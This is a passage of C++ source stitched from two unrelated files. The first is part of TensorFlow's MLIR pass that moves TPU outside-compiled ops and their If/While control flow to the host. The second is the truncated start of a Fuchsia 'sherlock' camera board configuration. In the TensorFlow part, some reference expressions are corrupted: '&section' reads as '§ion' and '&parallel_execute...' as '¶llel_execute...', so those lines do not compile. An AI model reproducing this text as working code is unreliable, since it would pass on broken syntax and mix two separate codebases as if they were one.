const auto predicate_send_recv_key =
llvm::formatv("if_predicate_channel_{0}_{1}", outside_cluster_name,
*send_recv_counter)
.str();
*send_recv_counter += 1;
auto predicate = if_callsite_op.cond();
auto predicate_shape = predicate.getType();
builder.create<TF::XlaSendToHostOp>(if_callsite_op.getLoc(), predicate,
predicate_send_recv_key);
// Create XlaRecvAtHostOp to receive predicate value from host.
builder.restoreInsertionPoint(insert_point);
Operation* recv_predicate_at_host = CreateRecvAtHostOp(
builder, if_callsite_op.getLoc(), TypeRange{predicate_shape},
compilation_key, device_ordinal, predicate_send_recv_key);
// Create host side if op.
return CloneEmptyIfWithPredicate(recv_predicate_at_host->getResult(0),
if_callsite_op.is_stateless(),
if_callsite_op.getLoc(), builder);
}
// Creates a WhileRegionOp cond and body regions with yield op and
// an empty body.
TF::WhileRegionOp CloneEmptyWhile(bool is_stateless,
uint64_t parallel_iterations, Location loc,
OpBuilder& builder) {
auto host_side_while = builder.create<TF::WhileRegionOp>(
loc, /*output=*/ArrayRef<Type>{}, /*input=*/ArrayRef<Value>{},
parallel_iterations, is_stateless, /*shape_invariant=*/false);
// Create empty else branch region.
auto& body = host_side_while.body();
body.push_back(new Block);
builder.setInsertionPointToEnd(&body.front());
builder.create<TF::YieldOp>(loc, /*operands=*/ArrayRef<Value>{});
return host_side_while;
}
// Replicates tf.WhileRegion op to host side computation.
Operation* ReplicateWhile(const ControlFlowStackInfo& controlflow_info,
llvm::StringRef outside_cluster_name,
Value compilation_key, Value device_ordinal,
OpBuilder& builder, int* send_recv_counter) {
// Create XlaSendToHostOp to send cond region output from device to host.
OpBuilder::InsertPoint insert_point = builder.saveInsertionPoint();
auto while_callsite_op =
llvm::cast<TF::WhileRegionOp>(controlflow_info.GetCallSiteOp());
builder.setInsertionPoint(while_callsite_op.cond().front().getTerminator());
const auto condition_send_recv_key =
llvm::formatv("while_condition_channel_{0}_{1}", outside_cluster_name,
*send_recv_counter)
.str();
*send_recv_counter += 1;
auto condition =
while_callsite_op.cond().front().getTerminator()->getOperand(0);
builder.create<TF::XlaSendToHostOp>(while_callsite_op.getLoc(), condition,
condition_send_recv_key);
builder.restoreInsertionPoint(insert_point);
auto host_side_while = CloneEmptyWhile(
while_callsite_op.is_stateless(), while_callsite_op.parallel_iterations(),
while_callsite_op.getLoc(), builder);
// Create cond region and yield the condition from the device.
auto& cond = host_side_while.cond();
cond.push_back(new Block);
builder.setInsertionPointToEnd(&cond.front());
auto recv_condition_at_host = CreateRecvAtHostOp(
builder, while_callsite_op.getLoc(), TypeRange{condition.getType()},
compilation_key, device_ordinal, condition_send_recv_key);
builder.create<TF::YieldOp>(while_callsite_op.getLoc(),
recv_condition_at_host->getResults());
return host_side_while;
}
// TODO(b/157054714): Use a better abstraction instead of
// _TPUCompileMlirOp and _XlaRecvAtHostOp and _XlaSendFromHostOp.
// Creates a compilation key as placeholder. A placeholder compilation cache key
// is created because it is a required input to _XlaRecvAtHost and
// _XlaSendFromHost but the _TPUCompileMlir has not yet been created for the TPU
// cluster that contains the outside compiled ops. This placeholder should be
// replaced by the TPU cluster _TPUCompileMlir in a subsequent pass.
Value CreateCompilationKeyPlaceholder(Location loc, OpBuilder& builder) {
auto result_type =
RankedTensorType::get({2}, builder.getType<TF::StringType>());
return builder.create<TF::_TPUCompileMlirPlaceholderProgramKeyOp>(
loc, /*program=*/result_type, llvm::ArrayRef<Value>{});
}
// Retrieves terminator of branch specified by `control_flow_info` of replicated
// control flow op.
Operation* GetControlFlowBranchRegionTerminator(
const ControlFlowStackInfo& controlflow_info, Operation* controlflow_op) {
if (auto inner_most_if = llvm::dyn_cast<TF::IfRegionOp>(controlflow_op)) {
if (controlflow_info.GetBranchType() == ControlFlowStackInfo::kIfThen) {
return inner_most_if.then_branch().front().getTerminator();
} else {
return inner_most_if.else_branch().front().getTerminator();
}
} else if (auto inner_most_while =
llvm::dyn_cast<TF::WhileRegionOp>(controlflow_op)) {
if (controlflow_info.GetBranchType() == ControlFlowStackInfo::kWhileCond) {
return &inner_most_while.cond().front().front();
} else {
return inner_most_while.body().front().getTerminator();
}
}
assert(false);
return nullptr;
}
// Replicates the control flow operations that wraps outside compiled ops to
// `destination_block`.
Operation* GetOrReplicateControlFlowStack(
llvm::StringRef outside_cluster_name,
const llvm::SmallVectorImpl<ControlFlowStackInfo>& stack_info,
tf_device::ClusterOp tpu_cluster, ModuleOp module, Value compilation_key,
Value device_ordinal, Block* destination_block, int* send_recv_counter,
llvm::SmallDenseMap<Operation*, Operation*>* replicated_controlflow_map) {
assert(!stack_info.empty());
const auto& controlflow_info = stack_info.back();
auto it = replicated_controlflow_map->find(controlflow_info.GetCallSiteOp());
if (it != replicated_controlflow_map->end())
return GetControlFlowBranchRegionTerminator(controlflow_info, it->second);
OpBuilder builder = OpBuilder::atBlockTerminator(destination_block);
Operation* previous_replicated_controlflow_op = nullptr;
for (const auto& controlflow_stack_info : stack_info) {
// If controlflow operation has already been created, reuse the cached
// controlflow operation.
auto it = replicated_controlflow_map->find(
controlflow_stack_info.GetCallSiteOp());
if (it != replicated_controlflow_map->end()) {
previous_replicated_controlflow_op = it->second;
builder.setInsertionPoint(GetControlFlowBranchRegionTerminator(
controlflow_stack_info, previous_replicated_controlflow_op));
continue;
}
// Create control flow op given provided insertion point and
// ControlFlowStackInfo.
if (auto control_flow_op = llvm::dyn_cast<TF::IfRegionOp>(
controlflow_stack_info.GetCallSiteOp())) {
previous_replicated_controlflow_op = ReplicateIf(
controlflow_stack_info, outside_cluster_name, compilation_key,
device_ordinal, builder, send_recv_counter);
auto if_op =
llvm::cast<TF::IfRegionOp>(previous_replicated_controlflow_op);
auto type = controlflow_stack_info.GetBranchType();
// Update the insertion point to proper region inside the newly created
// control flow op.
if (type == ControlFlowStackInfo::kIfThen) {
builder.setInsertionPoint(&if_op.then_branch().front().front());
} else {
builder.setInsertionPoint(&if_op.else_branch().front().front());
}
} else if (auto control_flow_op = llvm::dyn_cast<TF::WhileRegionOp>(
controlflow_stack_info.GetCallSiteOp())) {
previous_replicated_controlflow_op = ReplicateWhile(
controlflow_stack_info, outside_cluster_name, compilation_key,
device_ordinal, builder, send_recv_counter);
auto while_op =
llvm::cast<TF::WhileRegionOp>(previous_replicated_controlflow_op);
auto type = controlflow_stack_info.GetBranchType();
if (type == ControlFlowStackInfo::kWhileCond) {
builder.setInsertionPoint(&while_op.cond().front().front());
} else {
builder.setInsertionPoint(&while_op.body().front().front());
}
}
}
replicated_controlflow_map->try_emplace(stack_info.back().GetCallSiteOp(),
previous_replicated_controlflow_op);
// Return operation which should be used to as the insertion point to create
// send/recv ops.
return GetControlFlowBranchRegionTerminator(
stack_info.back(), previous_replicated_controlflow_op);
}
// Collects and clusters ops in `block` with the same `_xla_outside_compilation`
// attribute into `clusters` This returns an error if a
// `_xla_outside_compilation` attribute of an op is empty.
// TODO(b/163141763): Make sure ops inside control flow regions are not outside
// compiled if the entire control flow op is marked as outside compiled.
LogicalResult CollectAndGroupOutsideClusterOps(Block* block,
OutsideClusterMap* clusters) {
auto walk_result = block->walk([&](Operation* op) {
if (auto attr = op->getAttrOfType<StringAttr>(kXlaOutsideCompilationAttr)) {
if (attr.getValue().empty()) {
op->emitError() << "attribute '" << kXlaOutsideCompilationAttr
<< "' is empty";
return WalkResult::interrupt();
}
auto it = clusters->try_emplace(attr.getValue());
it.first->getSecond().push_back(op);
}
return WalkResult::advance();
});
return failure(walk_result.wasInterrupted());
}
// Moves `cluster_ops` before `op`.
void MoveOutsideClusterOpsBeforeOp(Operation* op,
llvm::ArrayRef<Operation*> cluster_ops,
MLIRContext* context) {
for (Operation* cluster_op : cluster_ops) {
// Remove `_xla_outside_compilation` and `device` attribute from ops in the
// cluster as that information will be present in the `launch_op`.
cluster_op->removeAttr(
Identifier::get(kXlaOutsideCompilationAttr, context));
cluster_op->removeAttr(Identifier::get(kDeviceAttr, context));
cluster_op->moveBefore(op);
}
}
// Creates a `tf_device.launch` to wrap cluster ops.
tf_device::LaunchOp CreateLaunchOpForOutsideCluster(
OpBuilder& builder, Operation* last_cluster_op,
llvm::StringRef host_device) {
// An empty string placeholder is used for the device as that will be later
// populated with the device of the associated TPUReplicateMetadata op.
auto launch_op = builder.create<tf_device::LaunchOp>(
last_cluster_op->getLoc(), builder.getStringAttr(host_device),
/*result_types=*/ArrayRef<Type>{});
launch_op.body().push_back(new Block);
builder.setInsertionPointToEnd(&launch_op.GetBody());
builder.create<tf_device::ReturnOp>(last_cluster_op->getLoc(),
llvm::ArrayRef<Value>{});
return launch_op;
}
// Extracts all externally provided operands of `host_cluster_ops`.
llvm::SmallSetVector<Value, 4> GetExternalOperands(
tf_device::ClusterOp tpu_cluster,
llvm::ArrayRef<Operation*> host_cluster_ops) {
llvm::SmallSetVector<Value, 4> external_values;
for (Operation* host_cluster_op : host_cluster_ops) {
auto cluster_op_parent_region = host_cluster_op->getParentRegion();
host_cluster_op->walk([&](Operation* op) {
auto region = op->getParentRegion();
if (region == cluster_op_parent_region) {
// For op operands, add operand defining ops, if they are not included
// in `host_cluster_ops`.
for (Value v : op->getOperands()) {
Operation* defining_op = v.getDefiningOp();
bool is_external = false;
if (defining_op) {
if (!tpu_cluster.getOperation()->isAncestor(defining_op)) continue;
is_external =
llvm::none_of(host_cluster_ops, [&](Operation* cluster_op) {
return defining_op == cluster_op;
});
} else {
if (auto block_arg = v.dyn_cast<BlockArgument>()) {
if (block_arg.getParentRegion() == cluster_op_parent_region)
is_external = true;
}
}
if (is_external) external_values.insert(v);
}
} else {
llvm::SetVector<Value> external_captured_inputs;
visitUsedValuesDefinedAbove(*region, *region, [&](OpOperand* operand) {
const bool captured_value_from_host =
llvm::find(host_cluster_ops, operand->get().getDefiningOp()) !=
host_cluster_ops.end();
if (captured_value_from_host) return;
Region* operand_defined_region = operand->get().getParentRegion();
if (!tpu_cluster.body().isAncestor(operand_defined_region)) return;
// If the host_cluster_op is regional control flow (if, while),
// then check if the operand_defined_region is an ancestor of the
// control flow regions.
if (auto if_op = llvm::dyn_cast<TF::IfRegionOp>(host_cluster_op)) {
if (if_op.then_branch().isAncestor(operand_defined_region) ||
if_op.else_branch().isAncestor(operand_defined_region))
return;
}
if (auto while_op =
llvm::dyn_cast<TF::WhileRegionOp>(host_cluster_op)) {
if (while_op.cond().isAncestor(operand_defined_region) ||
while_op.body().isAncestor(operand_defined_region))
return;
}
external_captured_inputs.insert(operand->get());
});
external_values.insert(external_captured_inputs.begin(),
external_captured_inputs.end());
}
});
}
return external_values;
}
// Extracts all externally used outputs of `cluster_ops`.
llvm::SmallSetVector<Value, 4> GetExternalOutputs(
llvm::ArrayRef<Operation*> cluster_ops) {
llvm::SmallSetVector<Value, 4> external_outputs;
llvm::SmallPtrSet<Operation*, 4> host_cluster_ops_set;
for (auto op : cluster_ops) {
op->walk([&](Operation* host_cluster_op) {
host_cluster_ops_set.insert(host_cluster_op);
});
}
for (Operation* op : cluster_ops) {
for (Operation* user : op->getUsers()) {
bool is_external = llvm::none_of(
host_cluster_ops_set,
[&](Operation* cluster_op) { return user == cluster_op; });
if (!is_external) continue;
for (Value v : user->getOperands()) {
if (v.getDefiningOp() == op) external_outputs.insert(v);
}
}
}
return external_outputs;
}
// Move all the ops that are in-between the cluster ops and depend on any op in
// the cluster to after last op in the cluster. This also includes ops that
// indirectly depend on the results so that the IR is legal.
void MoveDependentOpsAfter(llvm::ArrayRef<Operation*> cluster_ops) {
llvm::SmallPtrSet<Operation*, 8> outside_ops(cluster_ops.begin(),
cluster_ops.end());
// Collect all ops between first and last op in the cluster that may need to
// be moved after the cluster.
llvm::SmallVector<Operation*, 8> ops;
Operation* first_op = *cluster_ops.begin();
Operation* last_op = *cluster_ops.rbegin();
for (Operation& op :
llvm::make_range(first_op->getIterator(), last_op->getIterator())) {
if (!outside_ops.contains(&op)) ops.push_back(&op);
}
Operation* move_position = last_op;
for (Operation* op : ops) {
bool is_dependent = false;
for (Value operand : op->getOperands()) {
if (outside_ops.contains(operand.getDefiningOp())) {
is_dependent = true;
break;
}
}
// Op doesn't depend on any of the cluster ops' results.
if (!is_dependent) continue;
// Note that results of this op are never used as operands by any of the ops
// in this cluster. That would create an circular dependency between host
// and device which is avoided by the cluster assignment pass.
op->moveAfter(move_position);
move_position = op;
outside_ops.insert(op);
}
}
// Creates the HostCompute with `inputs` and `outputs` using
// `communication_key`.
TF::_XlaHostComputeMlirOp CreateHostCompute(
OpBuilder& builder, tf_device::ClusterOp tpu_cluster,
llvm::ArrayRef<Operation*> cluster_ops,
const llvm::SmallSetVector<Value, 4>& inputs, llvm::ArrayRef<Value> outputs,
llvm::StringRef args_communication_key,
llvm::StringRef retvals_communication_key) {
llvm::SmallVector<Type, 4> device_output_types;
for (const auto& output : outputs)
device_output_types.push_back(output.getType());
MoveDependentOpsAfter(cluster_ops);
builder.setInsertionPointAfter(*cluster_ops.rbegin());
auto host_compute = builder.create<TF::_XlaHostComputeMlirOp>(
tpu_cluster.getLoc(), device_output_types, inputs.getArrayRef(),
builder.getStringAttr(args_communication_key),
builder.getStringAttr(retvals_communication_key),
/*tpu_core=*/builder.getI64IntegerAttr(0));
return host_compute;
}
// Represents a set of ops inside host computation that is wrapped inside the
// same control flow.
struct HostCluster {
// List of control flow that wraps host computation operations. May be empty.
llvm::SmallVector<ControlFlowStackInfo, 4> controlflow_stack;
// Set of operations that will run on host wrapped around same stack of
// control flow.
llvm::SmallVector<Operation*, 4> section_ops;
};
HostCluster* FindHostCluster(
llvm::SmallVectorImpl<HostCluster>& host_cluster_sections,
const llvm::SmallVector<ControlFlowStackInfo, 4>& control_flows) {
for (auto& section : host_cluster_sections)
if (control_flows == section.controlflow_stack) return §ion;
return nullptr;
}
void MoveOutsideCompiledOpsInsideControlFlow(
ModuleOp module, tf_device::ClusterOp tpu_cluster,
llvm::StringRef host_cluster_section_name,
tf_device::LaunchOp host_launch_op, Value compilation_key,
Value device_ordinal, llvm::ArrayRef<Operation*> cluster_section_ops,
const llvm::SmallVectorImpl<ControlFlowStackInfo>& controlflow_stack,
llvm::ArrayRef<Operation*> cluster_ops,
const llvm::SmallSetVector<Value, 4>& section_external_inputs,
llvm::ArrayRef<Value> section_external_outputs,
llvm::SmallDenseMap<Operation*, Operation*>* replicated_controlflow_map) {
Operation* insertion_op = nullptr;
if (controlflow_stack.empty()) {
insertion_op = host_launch_op.GetBody().getTerminator();
} else {
int send_recv_counter = 0;
insertion_op = GetOrReplicateControlFlowStack(
host_cluster_section_name, controlflow_stack, tpu_cluster, module,
compilation_key, device_ordinal, &host_launch_op.GetBody(),
&send_recv_counter, replicated_controlflow_map);
}
MLIRContext* context = host_launch_op.getContext();
if (section_external_inputs.empty() && section_external_outputs.empty()) {
MoveOutsideClusterOpsBeforeOp(insertion_op, cluster_section_ops, context);
return;
}
OpBuilder builder(insertion_op);
llvm::SmallVector<Type, 4> host_output_types;
for (const auto& external_input : section_external_inputs)
host_output_types.push_back(external_input.getType());
std::string args_communication_key =
llvm::formatv("host_compute_channel_{0}_args", host_cluster_section_name)
.str();
std::string retvals_communication_key =
llvm::formatv("host_compute_channel_{0}_retvals",
host_cluster_section_name)
.str();
auto recv_at_host = CreateRecvAtHostOp(
builder, tpu_cluster.getLoc(), host_output_types, compilation_key,
device_ordinal, args_communication_key);
auto host_compute =
CreateHostCompute(builder, tpu_cluster, cluster_section_ops,
section_external_inputs, section_external_outputs,
args_communication_key, retvals_communication_key);
MoveOutsideClusterOpsBeforeOp(insertion_op, cluster_section_ops, context);
builder.setInsertionPoint(insertion_op);
if (!section_external_outputs.empty())
CreateSendFromHostOp(builder, tpu_cluster.getLoc(),
section_external_outputs, compilation_key,
device_ordinal, retvals_communication_key);
for (auto result :
llvm::zip(section_external_inputs, recv_at_host->getResults())) {
mlir::replaceAllUsesInRegionWith(std::get<0>(result), std::get<1>(result),
*insertion_op->getParentRegion());
}
auto operand_inside_device_cluster = [&](OpOperand& operand) {
return tpu_cluster.body().isAncestor(
operand.getOwner()->getParentRegion()) &&
llvm::none_of(cluster_ops, [&](Operation* cluster_op) {
return operand.getOwner() == cluster_op;
});
};
for (auto result :
llvm::zip(section_external_outputs, host_compute.getResults())) {
Value external_output = std::get<0>(result);
external_output.replaceUsesWithIf(std::get<1>(result),
operand_inside_device_cluster);
}
}
void MoveOutsideCompiledOps(
ModuleOp module, tf_device::ClusterOp tpu_cluster,
llvm::StringRef outside_cluster_name, tf_device::LaunchOp host_launch_op,
llvm::ArrayRef<Operation*> cluster_ops,
const llvm::SmallSetVector<Value, 4>& external_inputs,
const llvm::SmallSetVector<Value, 4>& external_outputs) {
// Identify and groups ops in `cluster_ops` by ops wrapped inside the same
// control flows.
llvm::SmallVector<HostCluster, 4> host_cluster_sections;
for (Operation* host_cluster_op : cluster_ops) {
auto controlflow_stack =
GetControlFlowStackForOp(tpu_cluster, host_cluster_op);
auto host_cluster_section =
FindHostCluster(host_cluster_sections, controlflow_stack);
if (!host_cluster_section) {
host_cluster_sections.emplace_back(
HostCluster{controlflow_stack, {host_cluster_op}});
} else {
host_cluster_section->section_ops.emplace_back(host_cluster_op);
}
}
const bool has_control_flow =
llvm::any_of(host_cluster_sections, [](const auto host_cluster_section) {
return !host_cluster_section.controlflow_stack.empty();
});
Value compilation_key = nullptr;
Value device_ordinal = nullptr;
if (has_control_flow || !external_inputs.empty() ||
!external_outputs.empty()) {
OpBuilder builder(&host_launch_op.GetBody().front());
compilation_key =
CreateCompilationKeyPlaceholder(tpu_cluster.getLoc(), builder);
// If there is no replication/data parallelism, it is assumed the device
// ordinal is always 0 (e.g. /device:TPU:0). In that case, a constant 0
// attribute can be used instead for _XlaSendFromHost/_XlaRecvAtHost ops.
if (tpu_cluster->getParentOfType<tf_device::ReplicateOp>()) {
auto device_ordinal_op =
builder.create<TF::_TPUDeviceOrdinalPlaceholderOp>(
host_launch_op.getLoc(),
RankedTensorType::get({}, builder.getI64Type()));
device_ordinal = device_ordinal_op.device_ordinal();
}
}
// Maintains a map of control flow callsite operation in TPU device side
// and an replicated control flow operation on host cluster.
llvm::SmallDenseMap<Operation*, Operation*> replicated_controlflows;
// Move `cluster_op` to host cluster, replicating control flow if ops are
// wrapped inside a control flow.
for (const auto& host_cluster_section_and_index :
llvm::enumerate(host_cluster_sections)) {
const auto& host_cluster_section = host_cluster_section_and_index.value();
const int index = host_cluster_section_and_index.index();
const auto& controlflow_stack = host_cluster_section.controlflow_stack;
const auto& cluster_section_ops = host_cluster_section.section_ops;
auto section_external_inputs =
GetExternalOperands(tpu_cluster, cluster_section_ops);
for (auto input : section_external_inputs) {
if (!external_inputs.contains(input))
section_external_inputs.remove(input);
}
auto section_external_outputs = GetExternalOutputs(cluster_section_ops);
for (auto output : section_external_outputs) {
if (!external_outputs.contains(output))
section_external_outputs.remove(output);
}
const std::string host_cluster_section_name =
llvm::formatv("{0}_{1}", outside_cluster_name, index).str();
MoveOutsideCompiledOpsInsideControlFlow(
module, tpu_cluster, host_cluster_section_name, host_launch_op,
compilation_key, device_ordinal, cluster_section_ops, controlflow_stack,
cluster_ops, section_external_inputs,
section_external_outputs.takeVector(), &replicated_controlflows);
}
}
// Creates a `parallel_execute` op in place of launch with 'clusters` and
// 'launch` as regions.
void CreateParallelExecuteFromOutsideClusters(ModuleOp module,
tf_device::ClusterOp tpu_cluster,
const OutsideClusterMap& clusters,
llvm::StringRef host_device) {
OpBuilder builder(tpu_cluster);
// Create parallel_execute regions. The original TPU cluster computation
// is the extra region.
const int num_regions = 1 + clusters.size();
auto parallel_execute_op = builder.create<tf_device::ParallelExecuteOp>(
tpu_cluster.getLoc(), num_regions, tpu_cluster.results().getTypes());
// Move outside compilation clusters to parallel_execute regions.
for (const auto& cluster : llvm::enumerate(clusters)) {
const auto& cluster_ops = cluster.value().getSecond();
Block& outside_block =
parallel_execute_op.GetRegionBlockWithIndex(cluster.index());
builder.setInsertionPointToEnd(&outside_block);
tf_device::LaunchOp host_launch_op = CreateLaunchOpForOutsideCluster(
builder, cluster_ops.back(), host_device);
// Determine if there are any inputs that are provided out of cluster.
auto external_inputs = GetExternalOperands(tpu_cluster, cluster_ops);
auto external_outputs = GetExternalOutputs(cluster_ops);
MoveOutsideCompiledOps(module, tpu_cluster, cluster.value().getFirst(),
host_launch_op, cluster_ops, external_inputs,
external_outputs);
builder.setInsertionPointToEnd(&outside_block);
builder.create<tf_device::ReturnOp>(tpu_cluster.getLoc(),
ArrayRef<Value>{});
}
// Move the launch body to last parallel_execute block.
Block& parallel_execute_tpu_block =
parallel_execute_op.GetRegionBlockWithIndex(num_regions - 1);
builder.setInsertionPointToEnd(¶llel_execute_tpu_block);
builder.create<tf_device::ReturnOp>(tpu_cluster.getLoc(),
tpu_cluster.getResults());
tpu_cluster.getOperation()->moveBefore(
parallel_execute_tpu_block.getTerminator());
// Remap cluster results with parallel_execute results if user is outside of
// parallel_execute.
for (auto result :
llvm::zip(tpu_cluster.getResults(), parallel_execute_op.getResults())) {
Value tpu_cluster_result = std::get<0>(result);
Value parallel_execute_result = std::get<1>(result);
for (auto& use : llvm::make_early_inc_range(tpu_cluster_result.getUses()))
if (!parallel_execute_op.getOperation()->isProperAncestor(use.getOwner()))
use.set(parallel_execute_result);
}
}
void TPUExtractOutsideCompilation::runOnOperation() {
// Get runtime devices information from the closest parent module.
auto module = getOperation();
mlir::TF::RuntimeDevices devices;
if (failed(tensorflow::GetDevicesFromOp(module, &devices)))
return signalPassFailure();
auto extract_result =
module.walk([&](tf_device::ClusterOp tpu_cluster) {
OutsideClusterMap clusters;
if (failed(CollectAndGroupOutsideClusterOps(&tpu_cluster.GetBody(),
&clusters)))
return WalkResult::interrupt();
if (clusters.empty()) return WalkResult::advance();
std::string host_device;
tensorflow::GetHostDeviceOutsideComputation(devices, tpu_cluster,
&host_device);
CreateParallelExecuteFromOutsideClusters(module, tpu_cluster, clusters,
host_device);
return WalkResult::advance();
});
if (extract_result.wasInterrupted()) return signalPassFailure();
}
} // namespace
std::unique_ptr<OperationPass<ModuleOp>>
CreateTPUExtractOutsideCompilationPass() {
return std::make_unique<TPUExtractOutsideCompilation>();
}
static PassRegistration<TPUExtractOutsideCompilation> pass(
"tf-tpu-extract-outside-compilation",
"Extracts TPU outside compilation to separate parallel_execute.");
} // namespace TFTPU
} // namespace mlir
|
// Copyright 2018 The Fuchsia Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include <ddk/binding.h>
#include <ddk/debug.h>
#include <ddk/device.h>
#include <ddk/metadata.h>
#include <ddk/platform-defs.h>
#include <ddktl/protocol/clockimpl.h>
#include <ddktl/protocol/gpioimpl.h>
#include <soc/aml-meson/g12b-clk.h>
#include <soc/aml-t931/t931-gpio.h>
#include <soc/aml-t931/t931-hw.h>
#include "sherlock-gpios.h"
#include "sherlock.h"
namespace sherlock {
namespace {
constexpr uint32_t kClk24MAltFunc = 7;
constexpr uint32_t kClkGpioDriveStrength = 3;
// TODO(CAM-138): This is a temporary hack. Remove when new driver validated.
constexpr bool kUseArmDriver = false;
constexpr pbus_mmio_t ge2d_mmios[] = {
// GE2D Base
{
.base = T931_GE2D_BASE,
.length = T931_GE2D_LENGTH,
},
};
constexpr pbus_bti_t ge2d_btis[] = {
{
.iommu_index = 0,
.bti_id = BTI_GE2D,
},
};
// IRQ for GE2D
constexpr pbus_irq_t ge2d_irqs[] = {
{
.irq = T931_MALI_GE2D_IRQ,
.mode = ZX_INTERRUPT_MODE_EDGE_HIGH,
},
};
static pbus_dev_t ge2d_dev = []() {
// GE2D
pbus_dev_t dev = {};
dev.name = "ge2d";
dev.vid = PDEV_VID_AMLOGIC;
dev.pid = PDEV_PID_AMLOGIC_T931;
dev.did = PDEV_DID_AMLOGIC_GE2D;
dev.mmio_list = ge2d_mmios;
dev.mmio_count = countof(ge2d_mmios);
dev.bti_list = ge2d_btis;
dev.bti_count = countof(ge2d_btis);
dev.irq_list = ge2d_irqs;
dev.irq_count = countof(ge2d_irqs);
return dev;
}();
constexpr pbus_mmio_t gdc_mmios[] = {
// HIU for clocks.
{
.base = T931_HIU_BASE,
.length = T931_HIU_LENGTH,
},
// GDC Base
{
.base = T931_GDC_BASE,
.length = T931_GDC_LENGTH,
},
};
constexpr pbus_bti_t gdc_btis[] = {
{
.iommu_index = 0,
.bti_id = BTI_GDC,
},
};
// IRQ for ISP
constexpr pbus_irq_t gdc_irqs[] = {
{
.irq = T931_MALI_GDC_IRQ,
.mode = ZX_INTERRUPT_MODE_EDGE_HIGH,
},
};
static pbus_dev_t gdc_dev = []() {
// GDC
pbus_dev_t dev = {};
dev.name = "gdc";
dev.vid = PDEV_VID_ARM;
dev.pid = PDEV_PID_GDC;
dev.did = PDEV_DID_ARM_MALI_IV010;
dev.mmio_list = gdc_mmios;
dev.mmio_count = countof(gdc_mmios);
dev.bti_list = gdc_btis;
dev.bti_count = countof(gdc_btis);
dev.irq_list = gdc_irqs;
dev.irq_count = countof(gdc_irqs);
return dev;
}();
constexpr pbus_bti_t isp_btis[] = {
{
.iommu_index = 0,
.bti_id = BTI_ISP,
},
};
constexpr pbus_mmio_t isp_mmios[] = {
// HIU for clocks.
{
.base = T931_HIU_BASE,
.length = T931_HIU_LENGTH,
},
// Power domain
{
.base = T931_POWER_DOMAIN_BASE,
.length = T931_POWER_DOMAIN_LENGTH,
},
// Memory PD
{
.base = T931_MEMORY_PD_BASE,
.length = T931_MEMORY_PD_LENGTH,
},
// Reset
{
.base = T931_RESET_BASE,
.length = T931_RESET_LENGTH,
},
// ISP Base
{
.base = T931_ISP_BASE,
.length = T931_ISP_LENGTH,
},
};
// IRQ for ISP
static const pbus_irq_t isp_irqs[] = {
{
.irq = T931_MALI_ISP_IRQ,
.mode = ZX_INTERRUPT_MODE_EDGE_HIGH,
},
};
static pbus_dev_t isp_dev = []() {
// ISP
pbus_dev_t dev = {};
dev.name = "isp";
dev.vid = PDEV_VID_ARM;
dev.pid = PDEV_PID_ISP;
dev.did = PDEV_DID_ARM_MALI_IV009;
dev.mmio_list = isp_mmios;
dev.mmio_count = countof(isp_mmios);
dev.bti_list = isp_btis;
dev.bti_count = countof(isp_btis);
dev.irq_list = isp_irqs;
dev.irq_count = countof(isp_irqs);
return dev;
}();
// TODO(CAM-138): This is a temporary hack. Remove when new driver validated.
static pbus_dev_t isp_dev_v2 = []() {
// ISP using ARM driver.
pbus_dev_t dev = {};
dev.name = "isp";
dev.vid = PDEV_VID_ARM;
dev.pid = PDEV_PID_ISP_BARE_METAL;
dev.did = PDEV_DID_ARM_MALI_IV009;
dev.mmio_list = isp_mmios;
dev.mmio_count = countof(isp_mmios);
dev.bti_list = isp_btis;
dev.bti_count = countof(isp_btis);
dev.irq_list = isp_irqs;
dev.irq_count = countof(isp_irqs);
return dev;
}();
// Composite binding rules for ARM ISP
static const zx_bind_inst_t root_match[] = {
BI_MATCH(),
};
static const zx_bind_inst_t camera_sensor_match[] = {
BI_MATCH_IF(EQ, BIND_PROTOCOL, ZX_PROTOCOL_CAMERA_SENSOR),
};
static const zx_bind_inst_t amlogiccanvas_match[] = {
BI_MATCH_IF(EQ, BIND_PROTOCOL, ZX_PROTOCOL_AMLOGIC_CANVAS),
};
static const device_component_part_t camera_sensor_component[] = {
{countof(root_match), root_match},
{countof(camera_sensor_match), camera_sensor_match},
};
static const device_component_t isp_components[] = {
{countof(camera_sensor_component), camera_sensor_component},
};
// Compisite binding rules for GDC
static const device_component_t gdc_components[] = {
{countof(camera_sensor_component), camera_sensor_component},
};
static const device_component_part_t amlogiccanvas_component[] = {
{countof(root_match), root_match},
{countof(amlogiccanvas_match), amlogiccanvas_match},
};
// Composite binding rules for GE2D
static const device_component_t ge2d_components[] = {
{countof(camera_sensor_component), camera_sensor_component},
{countof(amlogiccanvas_component), amlogiccanvas_component},
};
// Composite binding rules for IMX227 Sensor.
static const zx_bind_inst_t i2c_match[] = {
BI_ABORT_IF(NE, BIND_PROTOCOL, ZX_PROTOCOL_I2C),
BI_ABORT_IF(NE, BIND_I2C_BUS_ID, SHERLOCK_I2C_3),
BI_MATCH_IF(EQ, BIND_I2C_ADDRESS, 0x36),
};
static const zx_bind_inst_t gpio_reset_match[] = {
BI_ABORT_IF(NE, BIND_PROTOCOL, ZX_PROTOCOL_GPIO),
BI_MATCH_IF(EQ, BIND_GPIO_PIN, GPIO_CAM_RESET),
};
static const zx_bind_inst_t gpio_vana_match[] = {
BI_ABORT_IF(NE, BIND_PROTOCOL, ZX_PROTOCOL_GPIO),
BI_MATCH_IF(EQ, BIND_GPIO_PIN, GPIO_VANA_ENABLE),
};
static const zx_bind_inst_t gpio_vdig_match[] = {
BI_ABORT_IF(NE, BIND_PROTOCOL, ZX_PROTOCOL_GPIO),
BI_MATCH_IF(EQ, BIND_GPIO_PIN, GPIO_VDIG_ENABLE),
};
static const zx_bind_inst_t clk_sensor_match[] = {
BI_ABORT_IF(NE, BIND_PROTOCOL, ZX_PROTOCOL_CLOCK),
BI_MATCH_IF(EQ, BIND_CLOCK_ID, G12B_CLK_CAM_INCK_24M),
};
static const zx_bind_inst_t mipicsi_match[] = {
BI_MATCH_IF(EQ, BIND_PROTOCOL, ZX_PROTOCOL_MIPI_CSI),
};
static const device_component_part_t i2c_component[] = {
{countof(root_match), root_match},
{countof(i2c_match), i2c_match},
};
static const device_component_part_t gpio_reset_component[] = {
{countof(root_match), root_match},
{countof(gpio_reset_match), gpio_reset_match},
};
static const device_component_part_t gpio_vana_component[] = {
{countof(root_match), root_match},
{countof(gpio_vana_match), gpio_vana_match},
};
static const device_component_part_t gpio_vdig_component[] = {
{countof(root_match), root_match},
{countof(gpio_vdig_match), gpio_vdig_match},
};
static const device_component_part_t clk_sensor_component[] = {
